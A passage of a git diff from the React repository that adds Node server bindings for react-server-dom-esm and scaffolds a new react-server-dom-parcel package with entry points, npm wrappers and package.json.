+  ReactClientValue,
+} from 'react-server/src/ReactFlightServer';
+import type {Destination} from 'react-server/src/ReactServerStreamConfigNode';
+import type {ClientManifest} from './ReactFlightServerConfigESMBundler';
+import type {ServerManifest} from 'react-client/src/ReactFlightClientConfig';
+import type {Busboy} from 'busboy';
+import type {Writable} from 'stream';
+import type {Thenable} from 'shared/ReactTypes';
+
+import type {Duplex} from 'stream';
+
+import {Readable} from 'stream';
+
+import {
+  createRequest,
+  createPrerenderRequest,
+  startWork,
+  startFlowing,
+  startFlowingDebug,
+  stopFlowing,
+  abort,
+  resolveDebugMessage,
+  closeDebugChannel,
+} from 'react-server/src/ReactFlightServer';
+
+import {
+  createResponse,
+  reportGlobalError,
+  close,
+  resolveField,
+  resolveFileInfo,
+  resolveFileChunk,
+  resolveFileComplete,
+  getRoot,
+} from 'react-server/src/ReactFlightReplyServer';
+
+import {
+  decodeAction,
+  decodeFormState,
+} from 'react-server/src/ReactFlightActionServer';
+
+export {
+  registerServerReference,
+  registerClientReference,
+} from '../ReactFlightESMReferences';
+
+import {
+  createStringDecoder,
+  readPartialStringChunk,
+  readFinalStringChunk,
+} from 'react-client/src/ReactFlightClientStreamConfigNode';
+
+import type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';
+
+export type {TemporaryReferenceSet};
+
+function createDrainHandler(destination: Destination, request: Request) {
+  return () => startFlowing(request, destination);
+}
+
+function createCancelHandler(request: Request, reason: string) {
+  return () => {
+    stopFlowing(request);
+    abort(request, new Error(reason));
+  };
+}
+
+function startReadingFromDebugChannelReadable(
+  request: Request,
+  stream: Readable | WebSocket,
+): void {
+  const stringDecoder = createStringDecoder();
+  let lastWasPartial = false;
+  let stringBuffer = '';
+  function onData(chunk: string | Uint8Array) {
+    if (typeof chunk === 'string') {
+      if (lastWasPartial) {
+        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));
+        lastWasPartial = false;
+      }
+      stringBuffer += chunk;
+    } else {
+      const buffer: Uint8Array = (chunk: any);
+      stringBuffer += readPartialStringChunk(stringDecoder, buffer);
+      lastWasPartial = true;
+    }
+    const messages = stringBuffer.split('\n');
+    for (let i = 0; i < messages.length - 1; i++) {
+      resolveDebugMessage(request, messages[i]);
+    }
+    stringBuffer = messages[messages.length - 1];
+  }
+  function onError(error: mixed) {
+    abort(
+      request,
+      new Error('Lost connection to the Debug Channel.', {
+        cause: error,
+      }),
+    );
+  }
+  function onClose() {
+    closeDebugChannel(request);
+  }
+  if (
+    // $FlowFixMe[method-unbinding]
+    typeof stream.addEventListener === 'function' &&
+    // $FlowFixMe[method-unbinding]
+    typeof stream.binaryType === 'string'
+  ) {
+    const ws: WebSocket = (stream: any);
+    ws.binaryType = 'arraybuffer';
+    ws.addEventListener('message', event => {
+      // $FlowFixMe
+      onData(event.data);
+    });
+    ws.addEventListener('error', event => {
+      // $FlowFixMe
+      onError(event.error);
+    });
+    ws.addEventListener('close', onClose);
+  } else {
+    const readable: Readable = (stream: any);
+    readable.on('data', onData);
+    readable.on('error', onError);
+    readable.on('end', onClose);
+  }
+}
+
+type Options = {
+  debugChannel?: Readable | Writable | Duplex | WebSocket,
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  startTime?: number,
+};
+
+type PipeableStream = {
+  abort(reason: mixed): void,
+  pipe<T: Writable>(destination: T): T,
+};
+
+function renderToPipeableStream(
+  model: ReactClientValue,
+  moduleBasePath: ClientManifest,
+  options?: Options,
+): PipeableStream {
+  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;
+  const debugChannelReadable: void | Readable | WebSocket =
+    __DEV__ &&
+    debugChannel !== undefined &&
+    // $FlowFixMe[method-unbinding]
+    (typeof debugChannel.read === 'function' ||
+      typeof debugChannel.readyState === 'number')
+      ? (debugChannel: any)
+      : undefined;
+  const debugChannelWritable: void | Writable =
+    __DEV__ && debugChannel !== undefined
+      ? // $FlowFixMe[method-unbinding]
+        typeof debugChannel.write === 'function'
+        ? (debugChannel: any)
+        : // $FlowFixMe[method-unbinding]
+          typeof debugChannel.send === 'function'
+          ? createFakeWritableFromWebSocket((debugChannel: any))
+          : undefined
+      : undefined;
+  const request = createRequest(
+    model,
+    moduleBasePath,
+    options ? options.onError : undefined,
+    options ? options.identifierPrefix : undefined,
+    options ? options.temporaryReferences : undefined,
+    options ? options.startTime : undefined,
+    __DEV__ && options ? options.environmentName : undefined,
+    __DEV__ && options ? options.filterStackFrame : undefined,
+    debugChannelReadable !== undefined,
+  );
+  let hasStartedFlowing = false;
+  startWork(request);
+  if (debugChannelWritable !== undefined) {
+    startFlowingDebug(request, debugChannelWritable);
+  }
+  if (debugChannelReadable !== undefined) {
+    startReadingFromDebugChannelReadable(request, debugChannelReadable);
+  }
+  return {
+    pipe<T: Writable>(destination: T): T {
+      if (hasStartedFlowing) {
+        throw new Error(
+          'React currently only supports piping to one writable stream.',
+        );
+      }
+      hasStartedFlowing = true;
+      startFlowing(request, destination);
+      destination.on('drain', createDrainHandler(destination, request));
+      destination.on(
+        'error',
+        createCancelHandler(
+          request,
+          'The destination stream errored while writing data.',
+        ),
+      );
+      // We don't close until the debug channel closes.
+      if (!__DEV__ || debugChannelReadable === undefined) {
+        destination.on(
+          'close',
+          createCancelHandler(request, 'The destination stream closed early.'),
+        );
+      }
+      return destination;
+    },
+    abort(reason: mixed) {
+      abort(request, reason);
+    },
+  };
+}
+
+function createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {
+  return ({
+    write(chunk: string | Uint8Array) {
+      webSocket.send((chunk: any));
+      return true;
+    },
+    end() {
+      webSocket.close();
+    },
+    destroy(reason) {
+      if (typeof reason === 'object' && reason !== null) {
+        reason = reason.message;
+      }
+      if (typeof reason === 'string') {
+        webSocket.close(1011, reason);
+      } else {
+        webSocket.close(1011);
+      }
+    },
+  }: any);
+}
+
+function createFakeWritable(readable: any): Writable {
+  // The current host config expects a Writable so we create
+  // a fake writable for now to push into the Readable.
+  return ({
+    write(chunk: string | Uint8Array) {
+      return readable.push(chunk);
+    },
+    end() {
+      readable.push(null);
+    },
+    destroy(error) {
+      readable.destroy(error);
+    },
+  }: any);
+}
+
+type PrerenderOptions = {
+  environmentName?: string | (() => string),
+  filterStackFrame?: (url: string, functionName: string) => boolean,
+  onError?: (error: mixed) => void,
+  identifierPrefix?: string,
+  temporaryReferences?: TemporaryReferenceSet,
+  signal?: AbortSignal,
+  startTime?: number,
+};
+
+type StaticResult = {
+  prelude: Readable,
+};
+
+function prerenderToNodeStream(
+  model: ReactClientValue,
+  moduleBasePath: ClientManifest,
+  options?: PrerenderOptions,
+): Promise<StaticResult> {
+  return new Promise((resolve, reject) => {
+    const onFatalError = reject;
+    function onAllReady() {
+      const readable: Readable = new Readable({
+        read() {
+          startFlowing(request, writable);
+        },
+      });
+      const writable = createFakeWritable(readable);
+      resolve({prelude: readable});
+    }
+
+    const request = createPrerenderRequest(
+      model,
+      moduleBasePath,
+      onAllReady,
+      onFatalError,
+      options ? options.onError : undefined,
+      options ? options.identifierPrefix : undefined,
+      options ? options.temporaryReferences : undefined,
+      options ? options.startTime : undefined,
+      __DEV__ && options ? options.environmentName : undefined,
+      __DEV__ && options ? options.filterStackFrame : undefined,
+      false,
+    );
+    if (options && options.signal) {
+      const signal = options.signal;
+      if (signal.aborted) {
+        const reason = (signal: any).reason;
+        abort(request, reason);
+      } else {
+        const listener = () => {
+          const reason = (signal: any).reason;
+          abort(request, reason);
+          signal.removeEventListener('abort', listener);
+        };
+        signal.addEventListener('abort', listener);
+      }
+    }
+    startWork(request);
+  });
+}
+
+function decodeReplyFromBusboy<T>(
+  busboyStream: Busboy,
+  moduleBasePath: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  const response = createResponse(
+    moduleBasePath,
+    '',
+    options ? options.temporaryReferences : undefined,
+    undefined,
+    options ? options.arraySizeLimit : undefined,
+  );
+  let pendingFiles = 0;
+  const queuedFields: Array<string> = [];
+  busboyStream.on('field', (name, value) => {
+    if (pendingFiles > 0) {
+      // Because the 'end' event fires two microtasks after the next 'field'
+      // we would resolve files and fields out of order. To handle this properly
+      // we queue any fields we receive until the previous file is done.
+      queuedFields.push(name, value);
+    } else {
+      try {
+        resolveField(response, name, value);
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    }
+  });
+  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {
+    if (encoding.toLowerCase() === 'base64') {
+      busboyStream.destroy(
+        new Error(
+          "React doesn't accept base64 encoded file uploads because we don't expect " +
+            "form data passed from a browser to ever encode data that way. If that's " +
+            'the wrong assumption, we can easily fix it.',
+        ),
+      );
+      return;
+    }
+    pendingFiles++;
+    const file = resolveFileInfo(response, name, filename, mimeType);
+    value.on('data', chunk => {
+      resolveFileChunk(response, file, chunk);
+    });
+    value.on('end', () => {
+      try {
+        resolveFileComplete(response, name, file);
+        pendingFiles--;
+        if (pendingFiles === 0) {
+          // Release any queued fields
+          for (let i = 0; i < queuedFields.length; i += 2) {
+            resolveField(response, queuedFields[i], queuedFields[i + 1]);
+          }
+          queuedFields.length = 0;
+        }
+      } catch (error) {
+        busboyStream.destroy(error);
+      }
+    });
+  });
+  busboyStream.on('finish', () => {
+    close(response);
+  });
+  busboyStream.on('error', err => {
+    reportGlobalError(
+      response,
+      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible
+      err,
+    );
+  });
+  return getRoot(response);
+}
+
+function decodeReply<T>(
+  body: string | FormData,
+  moduleBasePath: ServerManifest,
+  options?: {
+    temporaryReferences?: TemporaryReferenceSet,
+    arraySizeLimit?: number,
+  },
+): Thenable<T> {
+  if (typeof body === 'string') {
+    const form = new FormData();
+    form.append('0', body);
+    body = form;
+  }
+  const response = createResponse(
+    moduleBasePath,
+    '',
+    options ? options.temporaryReferences : undefined,
+    body,
+    options ? options.arraySizeLimit : undefined,
+  );
+  const root = getRoot<T>(response);
+  close(response);
+  return root;
+}
+
+export {
+  renderToPipeableStream,
+  prerenderToNodeStream,
+  decodeReply,
+  decodeReplyFromBusboy,
+  decodeAction,
+  decodeFormState,
+};
diff --git a/packages/react-server-dom-esm/src/ReactFlightServerConfigESMBundler.js b/packages/react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler.js
similarity index 84%
rename from packages/react-server-dom-esm/src/ReactFlightServerConfigESMBundler.js
rename to packages/react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler.js
index 97e32eeef76b..5e789518b40c 100644
--- a/packages/react-server-dom-esm/src/ReactFlightServerConfigESMBundler.js
+++ b/packages/react-server-dom-esm/src/server/ReactFlightServerConfigESMBundler.js
@@ -12,7 +12,7 @@ import type {ReactClientValue} from 'react-server/src/ReactFlightServer';
 import type {
   ClientReference,
   ServerReference,
-} from './ReactFlightESMReferences';
+} from '../ReactFlightESMReferences';
 
 export type {ClientReference, ServerReference};
 
@@ -27,7 +27,10 @@ export type ClientReferenceMetadata = [
 
 export type ClientReferenceKey = string;
 
-export {isClientReference, isServerReference} from './ReactFlightESMReferences';
+export {
+  isClientReference,
+  isServerReference,
+} from '../ReactFlightESMReferences';
 
 export function getClientReferenceKey(
   reference: ClientReference<any>,
@@ -67,3 +70,10 @@ export function getServerReferenceBoundArguments<T>(
 ): null | Array<ReactClientValue> {
   return serverReference.$$bound;
 }
+
+export function getServerReferenceLocation<T>(
+  config: ClientManifest,
+  serverReference: ServerReference<T>,
+): void | Error {
+  return serverReference.$$location;
+}
diff --git a/packages/react-server-dom-esm/src/server/react-flight-dom-server.node.js b/packages/react-server-dom-esm/src/server/react-flight-dom-server.node.js
new file mode 100644
index 000000000000..f24946fcae8b
--- /dev/null
+++ b/packages/react-server-dom-esm/src/server/react-flight-dom-server.node.js
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToPipeableStream,
+  prerenderToNodeStream,
+  decodeReplyFromBusboy,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  registerServerReference,
+  registerClientReference,
+  createTemporaryReferenceSet,
+} from './ReactFlightDOMServerNode';
diff --git a/packages/react-server-dom-esm/static.js b/packages/react-server-dom-esm/static.js
new file mode 100644
index 000000000000..83d8b8a017ff
--- /dev/null
+++ b/packages/react-server-dom-esm/static.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error(
+  'The React Server cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.',
+);
diff --git a/packages/react-server-dom-esm/static.node.js b/packages/react-server-dom-esm/static.node.js
new file mode 100644
index 000000000000..d15eddc6f9b0
--- /dev/null
+++ b/packages/react-server-dom-esm/static.node.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {prerenderToNodeStream} from './src/server/react-flight-dom-server.node';
diff --git a/packages/react-server-dom-fb/package.json b/packages/react-server-dom-fb/package.json
index c6c70b12a7cc..4041e0ab46ba 100644
--- a/packages/react-server-dom-fb/package.json
+++ b/packages/react-server-dom-fb/package.json
@@ -3,12 +3,12 @@
   "version": "0.1.0",
   "private": true,
   "repository": {
-    "type" : "git",
-    "url" : "https://github.com/facebook/react.git",
+    "type": "git",
+    "url": "https://github.com/facebook/react.git",
     "directory": "packages/react-server-dom-fb"
   },
   "dependencies": {
-    "scheduler": "^0.23.0"
+    "scheduler": "^0.28.0"
   },
   "peerDependencies": {
     "react": "^18.0.0",
diff --git a/packages/react-server-dom-fb/src/__tests__/ReactDOMServerFB-test.internal.js b/packages/react-server-dom-fb/src/__tests__/ReactDOMServerFB-test.internal.js
index 35b41cbd230d..32284b0f68de 100644
--- a/packages/react-server-dom-fb/src/__tests__/ReactDOMServerFB-test.internal.js
+++ b/packages/react-server-dom-fb/src/__tests__/ReactDOMServerFB-test.internal.js
@@ -59,7 +59,7 @@ describe('ReactDOMServerFB', () => {
     });
     const result = readResult(stream);
     expect(result).toMatchInlineSnapshot(
-      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script>INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
+      `"<link rel="preload" as="script" fetchPriority="low" href="init.js"/><link rel="modulepreload" fetchPriority="low" href="init.mjs"/><div>hello world</div><script id="_R_">INIT();</script><script src="init.js" async=""></script><script type="module" src="init.mjs" async=""></script>"`,
     );
   });
 
diff --git a/packages/react-server-dom-parcel/README.md b/packages/react-server-dom-parcel/README.md
new file mode 100644
index 000000000000..8cbf767d39fe
--- /dev/null
+++ b/packages/react-server-dom-parcel/README.md
@@ -0,0 +1,5 @@
+# react-server-dom-parcel
+
+Experimental React Flight bindings for DOM using Parcel.
+
+**Use it at your own risk.**
diff --git a/packages/react-server-dom-parcel/client.browser.js b/packages/react-server-dom-parcel/client.browser.js
new file mode 100644
index 000000000000..1be0bc04a7ec
--- /dev/null
+++ b/packages/react-server-dom-parcel/client.browser.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './src/client/react-flight-dom-client.browser';
diff --git a/packages/react-server-dom-parcel/client.edge.js b/packages/react-server-dom-parcel/client.edge.js
new file mode 100644
index 000000000000..ab6a110c112e
--- /dev/null
+++ b/packages/react-server-dom-parcel/client.edge.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './src/client/react-flight-dom-client.edge';
diff --git a/packages/react-server-dom-parcel/client.js b/packages/react-server-dom-parcel/client.js
new file mode 100644
index 000000000000..2dad5bb51387
--- /dev/null
+++ b/packages/react-server-dom-parcel/client.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './client.browser';
diff --git a/packages/react-server-dom-parcel/client.node.js b/packages/react-server-dom-parcel/client.node.js
new file mode 100644
index 000000000000..c3ec7662d6e9
--- /dev/null
+++ b/packages/react-server-dom-parcel/client.node.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export * from './src/client/react-flight-dom-client.node';
diff --git a/packages/react-server-dom-parcel/index.js b/packages/react-server-dom-parcel/index.js
new file mode 100644
index 000000000000..3ce9059540c0
--- /dev/null
+++ b/packages/react-server-dom-parcel/index.js
@@ -0,0 +1,10 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error('Use react-server-dom-parcel/client instead.');
diff --git a/packages/react-server-dom-parcel/npm/client.browser.js b/packages/react-server-dom-parcel/npm/client.browser.js
new file mode 100644
index 000000000000..05c298c14af1
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/client.browser.js
@@ -0,0 +1,7 @@
+'use strict';
+
+if (process.env.NODE_ENV === 'production') {
+  module.exports = require('./cjs/react-server-dom-parcel-client.browser.production.js');
+} else {
+  module.exports = require('./cjs/react-server-dom-parcel-client.browser.development.js');
+}
diff --git a/packages/react-server-dom-parcel/npm/client.edge.js b/packages/react-server-dom-parcel/npm/client.edge.js
new file mode 100644
index 000000000000..647f799d45d2
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/client.edge.js
@@ -0,0 +1,7 @@
+'use strict';
+
+if (process.env.NODE_ENV === 'production') {
+  module.exports = require('./cjs/react-server-dom-parcel-client.edge.production.js');
+} else {
+  module.exports = require('./cjs/react-server-dom-parcel-client.edge.development.js');
+}
diff --git a/packages/react-server-dom-parcel/npm/client.js b/packages/react-server-dom-parcel/npm/client.js
new file mode 100644
index 000000000000..89d93a7a7920
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/client.js
@@ -0,0 +1,3 @@
+'use strict';
+
+module.exports = require('./client.browser');
diff --git a/packages/react-server-dom-parcel/npm/client.node.js b/packages/react-server-dom-parcel/npm/client.node.js
new file mode 100644
index 000000000000..75583db96f73
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/client.node.js
@@ -0,0 +1,7 @@
+'use strict';
+
+if (process.env.NODE_ENV === 'production') {
+  module.exports = require('./cjs/react-server-dom-parcel-client.node.production.js');
+} else {
+  module.exports = require('./cjs/react-server-dom-parcel-client.node.development.js');
+}
diff --git a/packages/react-server-dom-parcel/npm/index.js b/packages/react-server-dom-parcel/npm/index.js
new file mode 100644
index 000000000000..ef54db443ffa
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/index.js
@@ -0,0 +1,12 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+'use strict';
+
+throw new Error('Use react-server-dom-parcel/client instead.');
diff --git a/packages/react-server-dom-parcel/npm/server.browser.js b/packages/react-server-dom-parcel/npm/server.browser.js
new file mode 100644
index 000000000000..86b3a8a5ee92
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/server.browser.js
@@ -0,0 +1,18 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-parcel-server.browser.production.js');
+} else {
+  s = require('./cjs/react-server-dom-parcel-server.browser.development.js');
+}
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.createClientReference = s.createClientReference;
+exports.registerServerReference = s.registerServerReference;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
+exports.registerServerActions = s.registerServerActions;
+exports.loadServerAction = s.loadServerAction;
diff --git a/packages/react-server-dom-parcel/npm/server.edge.js b/packages/react-server-dom-parcel/npm/server.edge.js
new file mode 100644
index 000000000000..356cce93a70b
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/server.edge.js
@@ -0,0 +1,19 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-parcel-server.edge.production.js');
+} else {
+  s = require('./cjs/react-server-dom-parcel-server.edge.development.js');
+}
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.createClientReference = s.createClientReference;
+exports.registerServerReference = s.registerServerReference;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
+exports.registerServerActions = s.registerServerActions;
+exports.loadServerAction = s.loadServerAction;
diff --git a/packages/react-server-dom-parcel/npm/server.js b/packages/react-server-dom-parcel/npm/server.js
new file mode 100644
index 000000000000..13a632e64117
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/server.js
@@ -0,0 +1,6 @@
+'use strict';
+
+throw new Error(
+  'The React Server Writer cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.'
+);
diff --git a/packages/react-server-dom-parcel/npm/server.node.js b/packages/react-server-dom-parcel/npm/server.node.js
new file mode 100644
index 000000000000..6d2e9516d409
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/server.node.js
@@ -0,0 +1,21 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-parcel-server.node.production.js');
+} else {
+  s = require('./cjs/react-server-dom-parcel-server.node.development.js');
+}
+
+exports.renderToReadableStream = s.renderToReadableStream;
+exports.renderToPipeableStream = s.renderToPipeableStream;
+exports.decodeReply = s.decodeReply;
+exports.decodeReplyFromBusboy = s.decodeReplyFromBusboy;
+exports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;
+exports.decodeAction = s.decodeAction;
+exports.decodeFormState = s.decodeFormState;
+exports.createClientReference = s.createClientReference;
+exports.registerServerReference = s.registerServerReference;
+exports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;
+exports.registerServerActions = s.registerServerActions;
+exports.loadServerAction = s.loadServerAction;
diff --git a/packages/react-server-dom-parcel/npm/static.browser.js b/packages/react-server-dom-parcel/npm/static.browser.js
new file mode 100644
index 000000000000..0f5f9ac5570a
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/static.browser.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-parcel-server.browser.production.js');
+} else {
+  s = require('./cjs/react-server-dom-parcel-server.browser.development.js');
+}
+
+exports.prerender = s.prerender;
diff --git a/packages/react-server-dom-parcel/npm/static.edge.js b/packages/react-server-dom-parcel/npm/static.edge.js
new file mode 100644
index 000000000000..540332ad8d79
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/static.edge.js
@@ -0,0 +1,10 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-parcel-server.edge.production.js');
+} else {
+  s = require('./cjs/react-server-dom-parcel-server.edge.development.js');
+}
+
+exports.prerender = s.prerender;
diff --git a/packages/react-server-dom-parcel/npm/static.js b/packages/react-server-dom-parcel/npm/static.js
new file mode 100644
index 000000000000..13a632e64117
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/static.js
@@ -0,0 +1,6 @@
+'use strict';
+
+throw new Error(
+  'The React Server Writer cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.'
+);
diff --git a/packages/react-server-dom-parcel/npm/static.node.js b/packages/react-server-dom-parcel/npm/static.node.js
new file mode 100644
index 000000000000..ca66f6e3f0e7
--- /dev/null
+++ b/packages/react-server-dom-parcel/npm/static.node.js
@@ -0,0 +1,11 @@
+'use strict';
+
+var s;
+if (process.env.NODE_ENV === 'production') {
+  s = require('./cjs/react-server-dom-parcel-server.node.production.js');
+} else {
+  s = require('./cjs/react-server-dom-parcel-server.node.development.js');
+}
+
+exports.prerender = s.prerender;
+exports.prerenderToNodeStream = s.prerenderToNodeStream;
diff --git a/packages/react-server-dom-parcel/package.json b/packages/react-server-dom-parcel/package.json
new file mode 100644
index 000000000000..6732c962cb16
--- /dev/null
+++ b/packages/react-server-dom-parcel/package.json
@@ -0,0 +1,85 @@
+{
+  "name": "react-server-dom-parcel",
+  "description": "React Server Components bindings for DOM using Parcel. This is intended to be integrated into meta-frameworks. It is not intended to be imported directly.",
+  "version": "19.3.0",
+  "keywords": [
+    "react"
+  ],
+  "homepage": "https://reactjs.org/",
+  "bugs": "https://github.com/facebook/react/issues",
+  "license": "MIT",
+  "files": [
+    "LICENSE",
+    "README.md",
+    "index.js",
+    "client.js",
+    "client.browser.js",
+    "client.edge.js",
+    "client.node.js",
+    "server.js",
+    "server.browser.js",
+    "server.edge.js",
+    "server.node.js",
+    "static.js",
+    "static.browser.js",
+    "static.edge.js",
+    "static.node.js",
+    "cjs/"
+  ],
+  "exports": {
+    ".": "./index.js",
+    "./client": {
+      "workerd": "./client.edge.js",
+      "deno": "./client.edge.js",
+      "worker": "./client.edge.js",
+      "node": "./client.node.js",
+      "edge-light": "./client.edge.js",
+      "browser": "./client.browser.js",
+      "default": "./client.browser.js"
+    },
+    "./client.browser": "./client.browser.js",
+    "./client.edge": "./client.edge.js",
+    "./client.node": "./client.node.js",
+    "./server": {
+      "react-server": {
+        "workerd": "./server.edge.js",
+        "deno": "./server.browser.js",
+        "node": "./server.node.js",
+        "edge-light": "./server.edge.js",
+        "browser": "./server.browser.js"
+      },
+      "default": "./server.js"
+    },
+    "./server.browser": "./server.browser.js",
+    "./server.edge": "./server.edge.js",
+    "./server.node": "./server.node.js",
+    "./static": {
+      "react-server": {
+        "workerd": "./static.edge.js",
+        "deno": "./static.browser.js",
+        "node": "./static.node.js",
+        "edge-light": "./static.edge.js",
+        "browser": "./static.browser.js"
+      },
+      "default": "./static.js"
+    },
+    "./static.browser": "./static.browser.js",
+    "./static.edge": "./static.edge.js",
+    "./static.node": "./static.node.js",
+    "./src/*": "./src/*.js",
+    "./package.json": "./package.json"
+  },
+  "main": "index.js",
+  "repository": {
+    "type": "git",
+    "url": "https://github.com/facebook/react.git",
+    "directory": "packages/react-server-dom-parcel"
+  },
+  "engines": {
+    "node": ">=0.10.0"
+  },
+  "peerDependencies": {
+    "react": "^19.3.0",
+    "react-dom": "^19.3.0"
+  }
+}
diff --git a/packages/react-server-dom-parcel/server.browser.js b/packages/react-server-dom-parcel/server.browser.js
new file mode 100644
index 000000000000..cb43b5e57820
--- /dev/null
+++ b/packages/react-server-dom-parcel/server.browser.js
@@ -0,0 +1,20 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  decodeReply,
+  decodeAction,
+  decodeFormState,
+  createClientReference,
+  registerServerReference,
+  createTemporaryReferenceSet,
+  registerServerActions,
+  loadServerAction,
+} from './src/server/react-flight-dom-server.browser';
diff --git a/packages/react-server-dom-parcel/server.edge.js b/packages/react-server-dom-parcel/server.edge.js
new file mode 100644
index 000000000000..42f5c3d65399
--- /dev/null
+++ b/packages/react-server-dom-parcel/server.edge.js
@@ -0,0 +1,21 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+export {
+  renderToReadableStream,
+  decodeReply,
+  decodeReplyFromAsyncIterable,
+  decodeAction,
+  decodeFormState,
+  createClientReference,
+  registerServerReference,
+  createTemporaryReferenceSet,
+  registerServerActions,
+  loadServerAction,
+} from './src/server/react-flight-dom-server.edge';
diff --git a/packages/react-server-dom-parcel/server.js b/packages/react-server-dom-parcel/server.js
new file mode 100644
index 000000000000..83d8b8a017ff
--- /dev/null
+++ b/packages/react-server-dom-parcel/server.js
@@ -0,0 +1,13 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+throw new Error(
+  'The React Server cannot be used outside a react-server environment. ' +
+    'You must configure Node.js using the `--conditions react-server` flag.',
+);
diff --git a/packages/react-server-dom-parcel/server.node.js b/packages/react-server-dom-parcel/server.node.js
new file mode 100644
index 000000000000..3550d44ac182
--- /dev/null
+++ b/packages/react-server-dom-parcel/server.node.js
@@ -0,0 +1,23 @@
+/**
